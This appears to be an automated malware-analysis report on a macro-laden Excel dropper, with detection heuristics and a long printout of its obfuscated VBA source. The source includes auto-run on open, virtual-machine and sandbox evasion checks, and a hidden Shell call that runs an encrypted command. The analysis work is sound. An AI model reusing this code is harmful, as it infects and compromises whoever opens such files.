MALICIOUS
356
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The file is an Excel spreadsheet containing a VBA macro that is automatically executed upon opening due to the Workbook_Open subroutine. This macro utilizes WScript.Shell to execute commands, a common technique for downloading and running additional malicious payloads. The presence of the 'Xls.Dropper.Agent-1822174' ClamAV signature further confirms its malicious nature as a dropper.
Heuristics 10
-
ClamAV: Xls.Dropper.Agent-1822174 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Dropper.Agent-1822174
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell oPOJidsf, 0 -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set WShell = CreateObject("WScript.Shell") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set WShell = CreateObject("WScript.Shell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
If GetSerialNumber(Environ("SystemDrive") & "\") = "1824245000" Then -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 37101 bytes |
SHA-256: 981c22a4bfca94139992fe8e4cb7a3b83133107096295defbcc2fc631f954795 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
409 of 575 identifiers look randomly generated (e.g. 'TUesVCHrYSLyKjXOwprFSxuEcnYkHFkTBlFKv') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
jhVKdsfjsd
Dim siNQQVbL As Integer
For siNQQVbL = 0 To 0
If siNQQVbL = 5 Then End
Next siNQQVbL
Dim gJLryR As Integer
For gJLryR = 0 To 0
If gJLryR = 5 Then End
Next gJLryR
Dim wVKHBTQ As Integer
For wVKHBTQ = 0 To 0
If wVKHBTQ = 5 Then End
Next wVKHBTQ
End Sub
Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Лист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Function nxNZiOiHENlXPUXVbjKuvaMDRZpscgBqooOqJ()
Dim vowYxIwMEb As Integer
vowYxIwMEb = 8:
Do While vowYxIwMEb < 30
DoEvents: vowYxIwMEb = vowYxIwMEb + 1
Loop
If "dJaAtNalSZ" = "QyrtgazWfE" Then End
If "AmpntVcNOs" = "xVjrBLurmC" Then End
End Function
Private Function wwWyRnRgNmuWxtGnKCTUesVCHrYSLyKjXOwpr()
If "nMxiuRPuDk" = "vPUfDSsJTW" Then End
If "ukPPoRcGjy" = "FeNoQMyGCu" Then End
GoTo mwLNUsKqdd
mwLNUsKqdd:
End Function
Private Sub HLrfpFRANaGDMdPHMPNTbJmnSEbQRhkUYsigg()
GoTo rAnNVQrNAd
rAnNVQrNAd:
GoTo tnYTovaSSl
tnYTovaSSl:
Dim ZdjYhXjSys As Long
ZdjYhXjSys = "2076":
End Sub
Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Function jXOwprFSxuEcnYkHFkTBlFKvTIJyJMQkaFfeH()
GoTo XdDLNoKwea
XdDLNoKwea:
Dim jLVjlsRIPb As Integer
jLVjlsRIPb = 7:
Do While jLVjlsRIPb < 16
DoEvents: jLVjlsRIPb = jLVjlsRIPb + 1
Loop
Dim AOYnziviOL As Integer
AOYnziviOL = 0:
Do While AOYnziviOL < 11
DoEvents: AOYnziviOL = AOYnziviOL + 1
Loop
GoTo PuxvbKRVva
PuxvbKRVva:
If "zpTcgBRoPO" = "qJmQylltop" Then End
Dim mCBSMwrNUZ As Integer
mCBSMwrNUZ = 8:
Do While mCBSMwrNUZ < 26
DoEvents: mCBSMwrNUZ = mCBSMwrNUZ + 1
Loop
GoTo KxCIWGvhqw
KxCIWGvhqw:
GoTo mvUfxcfdjS
mvUfxcfdjS:
Dim DEiuLQYBko As Integer
DEiuLQYBko = 4:
Do While DEiuLQYBko < 12
DoEvents: DEiuLQYBko = DEiuLQYBko + 1
Loop
End Function
Public Sub ooOqJfJYlemOplxmCtrMWrNtyQQKDqCIPGohj()
GoTo uEcnyLOMrt
uEcnyLOMrt:
Dim lMRWTIQZJT As Long
lMRWTIQZJT = "4654":
Dim FfeHzWnvVD As Long
FfeHzWnvVD = "146":
If "CoWskbcNBd" = "kpAgatHsrf" Then End
If "FYANaGDMkW" = "HTPNTbJtnS" Then End
Dim QRhrUYTJnn As Long
QRhrUYTJnn = "8655":
If "EIXdDLNoKw" = "easjLVjlsR" Then End
If "PbbptAOYnz" = "iviOLUMXPu" Then End
GoTo bKRVvamjyz
bKRVvamjyz:
End Sub
Private Sub hkUYsiggGIBEIQdDLGhdpetsjEOJelqIIbCPt()
Dim vhqwqpmvUf As Integer
vhqwqpmvUf = 9:
Do While vhqwqpmvUf < 14
DoEvents: vhqwqpmvUf = vhqwqpmvUf + 1
Loop
GoTo jSsDEiuLQY
jSsDEiuLQY:
Dim ojZXXwZrOr As Long
ojZXXwZrOr = "4269":
GoTo uwYUgVKCAu
uwYUgVKCAu:
Dim AVChyySlZK As Integer
AVChyySlZK = 6:
Do While AVChyySlZK < 28
DoEvents: AVChyySlZK = AVChyySlZK + 1
Loop
Dim XQSFZxuEcn As Integer
XQSFZxuEcn = 10:
Do While XQSFZxuEcn < 30
DoEvents: XQSFZxuEcn = XQSFZxuEcn + 1
Loop
Dim MrtalMRWTI As Integer
MrtalMRWTI = 7:
Do While MrtalMRWTI < 3
DoEvents: MrtalMRWTI = MrtalMRWTI + 1
Loop
GoTo TQkaFfeHzW
TQkaFfeHzW:
Dim vVDFGCoWsk As Long
vVDFGCoWsk = "5896":
End Sub
Private Sub UesVCHrYSLyKjXOwprFSxuEcnYkHFkTBlFKvT()
Dim UYTJnnmPBE As Integer
UYTJnnmPBE = 3:
Do While UYTJnnmPBE < 2
DoEvents: UYTJnnmPBE = UYTJnnmPBE + 1
Loop
Dim DLNoKweasj As Integer
DLNoKweasj = 10:
Do While DLNoKweasj < 6
DoEvents: DLNoKweasj = DLNoKweasj + 1
Loop
GoTo sRIPbbptAO
sRIPbbptAO:
Dim nziviOLUMX As Integer
nziviOLUMX = 8:
Do While nziviOLUMX < 27
DoEvents: nziviOLUMX = nziviOLUMX + 1
Loop
GoTo vbKRVvamjy
vbKRVvamjy:
Dim pTcgBRoPOq As Integer
pTcgBRoPOq = 8:
Do While pTcgBRoPOq < 15
DoEvents: pTcgBRoPOq = pTcgBRoPOq + 1
Loop
Dim ylltoplYmC As Integer
ylltoplYmC = 6:
Do While ylltoplYmC < 11
DoEvents: ylltoplYmC = ylltoplYmC + 1
Loop
GoTo wrNUZqqKKx
wrNUZqqKKx:
GoTo IWGvhqwqpm
IWGvhqwqpm:
End Sub
Private Sub NlXPUXVbjKuvaMDRZpscgBqooOqJfJYlemOpl()
GoTo CAueAVChyy
CAueAVChyy:
GoTo KqxOXQSFZx
KqxOXQSFZx:
Dim EcnyLOMrta As Long
EcnyLOMrta = "272":
Dim RWTIQZJTQk As Integer
RWTIQZJTQk = 5:
Do While RWTIQZJTQk < 19
DoEvents: RWTIQZJTQk = RWTIQZJTQk + 1
Loop
Dim zWnvVDFGCo As Long
zWnvVDFGCo = "5900":
Dim kbcNBdkpAg As Long
kbcNBdkpAg = "1401":
If "HsrfwFYANa" = "GDMkWHTPNT" Then End
If "JtnSEbQRhr" = "UYTJnnmPBE" Then End
GoTo sjLVjlsRIP
sjLVjlsRIP:
End Sub
Private Function TTHLrfpFRANaGDMdPHMPNTbJmnSEbQRhkUYsi()
Dim lYmCBSMwrN As Long
lYmCBSMwrN = "4520":
Dim qqKKxCIWGv As Long
qqKKxCIWGv = "2028":
If "wqpmvUfxcf" = "djSsDEiuLQ" Then End
Dim BkojZXXwZr As Long
BkojZXXwZr = "3274":
Dim muwYUgVKCA As Integer
muwYUgVKCA = 2:
Do While muwYUgVKCA < 9
DoEvents: muwYUgVKCA = muwYUgVKCA + 1
Loop
Dim VChyySlZKq As Integer
VChyySlZKq = 6:
Do While VChyySlZKq < 16
DoEvents: VChyySlZKq = VChyySlZKq + 1
Loop
GoTo QSFZxuEcny
QSFZxuEcny:
If "rtalMRWTIQ" = "ZJTQkaFfeH" Then End
Dim nvVDFGCoWs As Long
nvVDFGCoWs = "8149":
End Function
Private Function TUesVCHrYSLyKjXOwprFSxuEcnYkHFkTBlFKv()
If "hrUYTJnnmP" = "BEIXdDLNoK" Then End
GoTo IPbbptAOYn
IPbbptAOYn:
Dim iOLUMXPuxv As Long
iOLUMXPuxv = "4273":
Dim RVvamjyzpT As Integer
RVvamjyzpT = 8:
Do While RVvamjyzpT < 9
DoEvents: RVvamjyzpT = RVvamjyzpT + 1
Loop
If "RoPOqJmQyl" = "ltoplYmCBS" Then End
If "rNUZqqKKxC" = "IWGvhqwqpm" Then End
If "UfxcfdjSsD" = "EiuLQYBkoj" Then End
If "XXwZrOrgUm" = "uwYUgVKCAu" Then End
Dim qxOXQSFZxu As Integer
qxOXQSFZxu = 8:
Do While qxOXQSFZxu < 8
DoEvents: qxOXQSFZxu = qxOXQSFZxu + 1
Loop
End Function
Private Sub fQcfdjLSDEinLzhqBkhcSwwWyRnRgNmuWxtGn()
GoTo cNBdkpAgat
cNBdkpAgat:
GoTo srfwFYANaG
srfwFYANaG:
Dim MkWHTPNTbJ As Long
MkWHTPNTbJ = "1275":
Dim SEbQRhrUYT As Long
SEbQRhrUYT = "5649":
Dim mPBEIXdDLN As Integer
mPBEIXdDLN = 1:
Do While mPBEIXdDLN < 9
DoEvents: mPBEIXdDLN = mPBEIXdDLN + 1
Loop
If "easjLVjlsR" = "IPbbptAOYn" Then End
Dim JmQylltopl As Long
JmQylltopl = "895":
Dim BSMwrNUZqq As Long
BSMwrNUZqq = "9270":
If "xCIWGvhqwq" = "pmvUfxcfdj" Then End
End Sub
Private Sub jKuvaMDRZpscgBqooOqJfJYlemOplxmCtrMWr()
GoTo yySlZKqxOX
yySlZKqxOX:
Dim SFZxuEcnyL As Integer
SFZxuEcnyL = 2:
Do While SFZxuEcnyL < 15
DoEvents: SFZxuEcnyL = SFZxuEcnyL + 1
Loop
GoTo talMRWTIQZ
talMRWTIQZ:
Dim atHsrfwFYA As Integer
atHsrfwFYA = 3:
Do While atHsrfwFYA < 9
DoEvents: atHsrfwFYA = atHsrfwFYA + 1
Loop
GoTo tnSEbQRhrU
tnSEbQRhrU:
Dim JnnmPBEIXd As Long
JnnmPBEIXd = "7522":
Dim NoKweasjLV As Long
NoKweasjLV = "4528":
Dim YnziviOLUM As Integer
YnziviOLUM = 10:
Do While YnziviOLUM < 1
DoEvents: YnziviOLUM = YnziviOLUM + 1
Loop
Dim xvbKRVvamj As Integer
xvbKRVvamj = 6:
Do While xvbKRVvamj < 3
DoEvents: xvbKRVvamj = xvbKRVvamj + 1
Loop
End Sub
Attribute VB_Name = "Class3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Function bJmnSEbQRhkUYsiggGIBEIQdDLGhdpetsjEOJ()
Dim qqKKxCIWGv As Long
qqKKxCIWGv = "2028":
If "wqpmvUfxcf" = "djSsDEiuLQ" Then End
Dim BkojZXXwZr As Long
BkojZXXwZr = "3274":
Dim muwYUgVKCA As Integer
muwYUgVKCA = 2:
Do While muwYUgVKCA < 9
DoEvents: muwYUgVKCA = muwYUgVKCA + 1
Loop
End Function
Public Sub rNtyQQKDqCIPGohjwqPMVtfQcfdjLSDEinLzh()
GoTo QkaFfeHzWn
QkaFfeHzWn:
Dim VDFGCoWskb As Long
VDFGCoWskb = "8643":
If "BdkpAgatHs" = "rfwFYANaGD" Then End
Dim kWHTPNTbJt As Integer
kWHTPNTbJt = 1:
Do While kWHTPNTbJt < 22
DoEvents: kWHTPNTbJt = kWHTPNTbJt + 1
Loop
End Sub
Private Function vTIJyJMQkaFfeHsvZoVuDFGCovSkbcmBdKiAg()
Dim tAOYnziviO As Integer
tAOYnziviO = 6:
Do While tAOYnziviO < 21
DoEvents: tAOYnziviO = tAOYnziviO + 1
Loop
Dim XPuxvbKRVv As Long
XPuxvbKRVv = "3023":
If "jyzpTcgBRo" = "POqJmQyllt" Then End
GoTo plYmCBSMwr
plYmCBSMwr:
End Function
Private Sub elqIIbCPtznxNZiOiHENlXPUXVbjKuvaMDRZp()
Dim jZXXwZrOrg As Integer
jZXXwZrOrg = 4:
Do While jZXXwZrOrg < 26
DoEvents: jZXXwZrOrg = jZXXwZrOrg + 1
Loop
Dim wYUgVKCAue As Integer
wYUgVKCAue = 3:
Do While wYUgVKCAue < 27
DoEvents: wYUgVKCAue = wYUgVKCAue + 1
Loop
If "hyySlZKqxO" = "XQSFZxuEcn" Then End
Dim LOMrtalMRW As Integer
LOMrtalMRW = 4:
Do While LOMrtalMRW < 20
DoEvents: LOMrtalMRW = LOMrtalMRW + 1
Loop
End Sub
Attribute VB_Name = "Class4"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub uEcnYkHFkTBlFKvTIJyJMQkaFfeHsvZoVuDFG()
Dim CuLmwLNUsK As Integer
CuLmwLNUsK = 2:
Do While CuLmwLNUsK < 19
DoEvents: CuLmwLNUsK = CuLmwLNUsK + 1
Loop
End Sub
Attribute VB_Name = "Class5"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Function xmCtrMWrNtyQQKDqCIPGohjwqPMVtfQcfdjLS()
Dim xVjrBLurmC As Integer
xVjrBLurmC = 9:
Do While xVjrBLurmC < 24
DoEvents: xVjrBLurmC = xVjrBLurmC + 1
Loop
End Function
Attribute VB_Name = "dfsdf"
Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByRef lpType As Long, ByVal lpData As String, ByRef lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32" (ByVal hKey As Long) As Long
Const HKEY_LOCAL_MACHINE = &H80000002
Public Function IsVirtualPCPresent() As Long
Dim lhKey As Long
Dim sBuffer As String
Dim lLen As Long
If RegOpenKeyEx(&H80000002, "SYSTEM\ControlSet001\Services\Disk\Enum", _
0, &H20019, lhKey) = 0 Then
sBuffer = Space$(255): lLen = 255
If RegQueryValueEx(lhKey, "0", 0, 1, ByVal sBuffer, lLen) = 0 Then
sBuffer = UCase(Left$(sBuffer, lLen - 1))
Select Case True
Case sBuffer Like "*VIRTUAL*": IsVirtualPCPresent = 1
Case sBuffer Like "*VMWARE*": IsVirtualPCPresent = 2
Case sBuffer Like "*VBOX*": IsVirtualPCPresent = 3
If IsVirtualPCPresent = 1 Or 2 Or 3 Then End
End Select
End If
Call RegCloseKey(lhKey)
End If
End Function
Attribute VB_Name = "load"
Sub jhVKdsfjsd()
If IsSandBoxiePresent(1) = True Then End
If IsAnubisPresent(1) = True Then End
If IsVirtualPCPresent = True Then End
oPOJidsf = MkSrpQP("ХРєѓw tєТНИєЁјЧПВ‘Н№’‹¤Иї‚ЈФН»Жјu§лЦКИµѓўЧЧ„є·—ЮМ»Сј~‚¶ТНСґДµЦ©їП}{ЪЧКУ‚„ѓ«–„” …‚Ј•‰‘{‹ѓУЦєЩА„єЩЛЙ‘ёЅД™Џ}€њљЎВ€ІЗ»»ЗЦ©њ©ѕѓ·УЕ}Њѓu№кУ·С¬uyЖЁЈіm±ёеЙЙЗЋ›љи‘№ДЄuyЖЁЈіm±ёеЙЙЗЋ›љи‘»ЫђtеЧ·ХјuyЖЁЈіm±ёеЙЙЗЋ›љи‘»Ыђ", "rcVcHUTj")
Dim wfSoeUjt As Integer
For wfSoeUjt = 0 To 0
If wfSoeUjt = 5 Then End
Next wfSoeUjt
Dim tNhbQ As Integer
For tNhbQ = 0 To 0
If tNhbQ = 5 Then End
Next tNhbQ
Shell oPOJidsf, 0
Dim stahzHxdYZQ As Integer
For stahzHxdYZQ = 0 To 0
If stahzHxdYZQ = 5 Then End
Next stahzHxdYZQ
End Sub
Attribute VB_Name = "Module1"
Private Sub gbwEJaatNBMSZQyrtgBZWfEpampntVcNOsxVj()
Dim VpfKKjMeBe As Long
VpfKKjMeBe = "4141":
If "ojLHtBXPGh" = "rGIPuFlFyM" Then End
Dim kBKDFSFkhR As Long
kBKDFSFkhR = "6144":
Dim lYUSYgnysX As Integer
lYUSYgnysX = 9:
Do While lYUSYgnysX < 19
DoEvents: lYUSYgnysX = lYUSYgnysX + 1
Loop
If "WMWZDxnSsr" = "UfJmCiIQST" Then End
GoTo bJfxopAOqx
bJfxopAOqx:
End Sub
Public Sub sKqddRVCpzPbKXkQNWnyqWZXDlTwxcOlabrue()
If "ttTvORVDqQ" = "YTuqDrgfwR" Then End
If "wryEVVoocg" = "NBLamvbvUR" Then End
Dim ZKChkioXxI As Long
ZKChkioXxI = "7641":
If "zQemcGptOE" = "bCBdWsWlyr" Then End
Dim bcyLlHFZje As Long
bcyLlHFZje = "1896":
Dim MddXQdPVcT As Long
MddXQdPVcT = "6018":
End Sub
Public Function rtgBZWfEpampntVcNOsxVjrBLurmcHHgJbxbq()
Dim jLHtBXPGhr As Long
jLHtBXPGhr = "2393":
Dim PuFlFyMXwk As Long
PuFlFyMXwk = "6265":
GoTo DFSFkhRpal
DFSFkhRpal:
If "SYgnysXJGV" = "WMWZDxnSsr" Then End
Dim JmCiIQSTPb As Long
JmCiIQSTPb = "5772":
If "pAOqxvNtgg" = "UyescSENAn" Then End
End Function
Private Function QNWnyqWZXDlTwxcOlabrueiDsqqpSLOranNVQ()
Dim rgfwRBwryE As Integer
rgfwRBwryE = 7:
Do While rgfwRBwryE < 27
DoEvents: rgfwRBwryE = rgfwRBwryE + 1
Loop
GoTo cgNBLamvbv
cgNBLamvbv:
Dim RaZKChkioX As Long
RaZKChkioX = "7273":
If "inzQemcGpt" = "OEbCBdWsWl" Then End
GoTo rzbcyLlHFZ
rzbcyLlHFZ:
Dim eAHMddXQdP As Integer
eAHMddXQdP = 5:
Do While eAHMddXQdP < 29
DoEvents: eAHMddXQdP = eAHMddXQdP + 1
Loop
End Function
Public Function QyrtgBZWfEpampntVcNOsxVjrBLurmcHHgJbx()
Dim XwkBKDFSFk As Integer
XwkBKDFSFk = 4:
Do While XwkBKDFSFk < 6
DoEvents: XwkBKDFSFk = XwkBKDFSFk + 1
Loop
Dim alYUSYgnys As Long
alYUSYgnys = "888":
If "VWMWZDxnSs" = "rUfJmCiIQS" Then End
GoTo vNtggUyesc
vNtggUyesc:
Dim ENAnTQZqCU As Long
ENAnTQZqCU = "2268":
GoTo AGoWAaFRoD
AGoWAaFRoD:
End Function
Public Function brueiDsqqpSLOranNVQrnAoEDtOYTovBSSllZ()
GoTo LamvbvURaZ
LamvbvURaZ:
Dim ChkioXxIin As Integer
ChkioXxIin = 1:
Do While ChkioXxIin < 21
DoEvents: ChkioXxIin = ChkioXxIin + 1
Loop
GoTo mcGptOEbCB
mcGptOEbCB:
Dim WsWlyrzbcy As Integer
WsWlyrzbcy = 1:
Do While WsWlyrzbcy < 22
DoEvents: WsWlyrzbcy = WsWlyrzbcy + 1
Loop
Dim FZjeAHMddX As Long
FZjeAHMddX = "8268":
If "PVcTbuwjdc" = "ziHsdpsqwY" Then End
End Function
Attribute VB_Name = "Module2"
Private Function fGTxESCRdmSmLIRpbTYbZfnOyzeQHVdtwgkFV()
Dim HLncVDFgCo As Long
HLncVDFgCo = "5898":
Dim kicNIdkpHH As Long
kicNIdkpHH = "1398":
If "HsyGwFYANh" = "GDMkWHTWUA" Then End
GoTo UuZEbqYhrB
UuZEbqYhrB:
Dim TJnnNpIeIX As Long
TJnnNpIeIX = "5651":
Dim lNokXeaTjL As Integer
lNokXeaTjL = 1:
Do While lNokXeaTjL < 14
DoEvents: lNokXeaTjL = lNokXeaTjL + 1
Loop
Dim YiPiCpaAOF As Long
YiPiCpaAOF = "9154":
If "iviOLuTEPb" = "xvbKrCWamK" Then End
End Function
Private Sub MNdNQUoeJjiLwAdsZyHJKGsaWofgqFhOmEkXX()
If "wGvhqdRwtc" = "UfxcfEjSzd" Then End
Dim JuSghYBkPj As Integer
JuSghYBkPj = 8:
Do While JuSghYBkPj < 6
DoEvents: JuSghYBkPj = JuSghYBkPj + 1
Loop
If "wZrVygUtbw" = "YUgVKJAueA" Then End
GoTo ChZySsGKqe
ChZySsGKqe:
Dim QZFZxuEcOf As Integer
QZFZxuEcOf = 5:
Do While QZFZxuEcOf < 9
DoEvents: QZFZxuEcOf = QZFZxuEcOf + 1
Loop
If "aBlmRDtIQG" = "jTXrhFfeHL" Then End
Dim PcVDFgCoDs As Long
PcVDFgCoDs = "8147":
Dim cNIdkpHHat As Long
cNIdkpHHat = "3146":
End Sub
Private Function GMTKslnBuTQZxjUgjhnPWHImrPEluFolgWBBa()
GoTo IXdDlNokXe
IXdDlNokXe:
GoTo TjLVjlsYiP
TjLVjlsYiP:
GoTo CpaAOFngiv
CpaAOFngiv:
GoTo OLuTEPbxvb
OLuTEPbxvb:
If "rCWamKyzpA" = "cgbRvWVxJm" Then End
GoTo fMltvwsFmJ
fMltvwsFmJ:
Dim TdrUBZqxKK As Long
TdrUBZqxKK = "5153":
Dim IwGvhqdRwt As Integer
IwGvhqdRwt = 1:
Do While IwGvhqdRwt < 26
DoEvents: IwGvhqdRwt = IwGvhqdRwt + 1
Loop
End Function
Private Sub TLQTRXfNqrWIfUVloYcwmkkKMFIMUhHPKlhti()
GoTo eAvChZySsG
eAvChZySsG:
Dim qeoEQZFZxu As Long
qeoEQZFZxu = "8022":
GoTo OfLOMSaBlm
OfLOMSaBlm:
Dim DtIQGjTXrh As Long
DtIQGjTXrh = "6529":
GoTo eHLncVDFgC
eHLncVDFgC:
GoTo DskicNIdkp
DskicNIdkp:
Dim HatHsyGwFY As Integer
HatHsyGwFY = 1:
Do While HatHsyGwFY < 9
DoEvents: HatHsyGwFY = HatHsyGwFY + 1
Loop
If "GDMkWHTWUA" = "bJUuZEbqYh" Then End
End Sub
Private Function FolgWBBaDVrVkRqyaCxKrOGXYiwZGLvcWPDOn()
Dim giviOLuTEP As Integer
giviOLuTEP = 3:
Do While giviOLuTEP < 6
DoEvents: giviOLuTEP = giviOLuTEP + 1
Loop
Dim bKrCWamKyz As Long
bKrCWamKyz = "6521":
If "cgbRvWVxJm" = "QfMltvwsFm" Then End
Dim BSTdrUBZqx As Long
BSTdrUBZqx = "3405":
If "xCIwGvhqdR" = "wtcUfxcfEj" Then End
Dim zdEJuSghYB As Integer
zdEJuSghYB = 9:
Do While zdEJuSghYB < 24
DoEvents: zdEJuSghYB = zdEJuSghYB + 1
Loop
If "zXXwZrVygU" = "tbwYUgVKJA" Then End
GoTo AvChZySsGK
AvChZySsGK:
End Function
Public Function ESCRdmSmLIRpbTYbZfnOyzeQHVdtwgkFVssSu()
If "PcVDFgCoDs" = "kicNIdkpHH" Then End
If "HsyGwFYANh" = "GDMkWHTWUA" Then End
GoTo yTJnnNpIeI
yTJnnNpIeI:
If "dDlNokXeaT" = "jLVjlsYiPi" Then End
If "aAOFngiviO" = "LuTEPbxvbK" Then End
If "CWamKyzpAc" = "gbRvWVxJmQ" Then End
If "MltvwsFmJB" = "STdrUBZqxK" Then End
Dim SzdEJuSghY As Integer
SzdEJuSghY = 2:
Do While SzdEJuSghY < 14
DoEvents: SzdEJuSghY = SzdEJuSghY + 1
Loop
End Function
Private Sub cwmkkKMFIMUhHPKlhtixwnISNipuMMfGTxESC()
GoTo ZxuEcOfLOM
ZxuEcOfLOM:
If "aBlmRDtIQG" = "jTXrhFfeHL" Then End
Dim atHsyGwFYA As Long
atHsyGwFYA = "2770":
GoTo rByTJnnNpI
rByTJnnNpI:
Dim aTjLVjlsYi As Long
aTjLVjlsYi = "6019":
Dim iOLuTEPbxv As Integer
iOLuTEPbxv = 4:
Do While iOLuTEPbxv < 24
DoEvents: iOLuTEPbxv = iOLuTEPbxv + 1
Loop
GoTo KKxCIwGvhq
KKxCIwGvhq:
Dim RwtcUfxcfE As Long
RwtcUfxcfE = "5274":
End Sub
Private Function fNqrWIfUVloYcwmkkKMFIMUhHPKlhtixwnISN()
Dim ZySsGKqeoE As Long
ZySsGKqeoE = "3029":
GoTo SaBlmRDtIQ
SaBlmRDtIQ:
Dim ncVDFgCoDs As Integer
ncVDFgCoDs = 8:
Do While ncVDFgCoDs < 13
DoEvents: ncVDFgCoDs = ncVDFgCoDs + 1
Loop
Dim IdkpHHatHs As Integer
IdkpHHatHs = 7:
Do While IdkpHHatHs < 13
DoEvents: IdkpHHatHs = IdkpHHatHs + 1
Loop
Dim FYANhGDMkW As Integer
FYANhGDMkW = 1:
Do While FYANhGDMkW < 15
DoEvents: FYANhGDMkW = FYANhGDMkW + 1
Loop
Dim UAbJUuZEbq As Integer
UAbJUuZEbq = 8:
Do While UAbJUuZEbq < 19
DoEvents: UAbJUuZEbq = UAbJUuZEbq + 1
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.